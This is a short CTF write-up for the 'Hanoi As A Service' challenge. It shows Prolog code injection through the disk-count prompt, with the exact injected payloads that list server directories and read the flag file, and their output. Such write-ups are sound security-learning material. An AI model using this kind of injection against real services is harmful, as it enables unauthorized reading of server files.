Hanoi As A Service
50 Points
Check out our shiny new HaaS platform!
nc haas.polictf.it 80
This is a code injection challenge on Prolog.
First, e can inject a Prolog snipet through an input for the hanoi parameter.
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),hanoi(3).% <-- my input
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
Then, try a ls command.
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),ls('/').% <-- my input
bin/ initrd.img mnt/ sbin/ var/
boot/ lib/ opt/ srv/ vmlinuz
dev/ lib64/ proc/ sys/
etc/ lost+found/ root/ tmp/
home/ media/ run/ usr/
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),ls('/home/ctf/haas/').% <-- my input
haas haas-proxy.py jhknsjdfhef_flag_here
Finally,read the flag!
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
0),see('/home/ctf/haas/jhknsjdfhef_flag_here'),repeat,get_char(T),print(T),T=end_of_file,!,seen.% <-- my input
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
end_of_file
やるだけ(just do it).
Pwn350, I solved it after game over.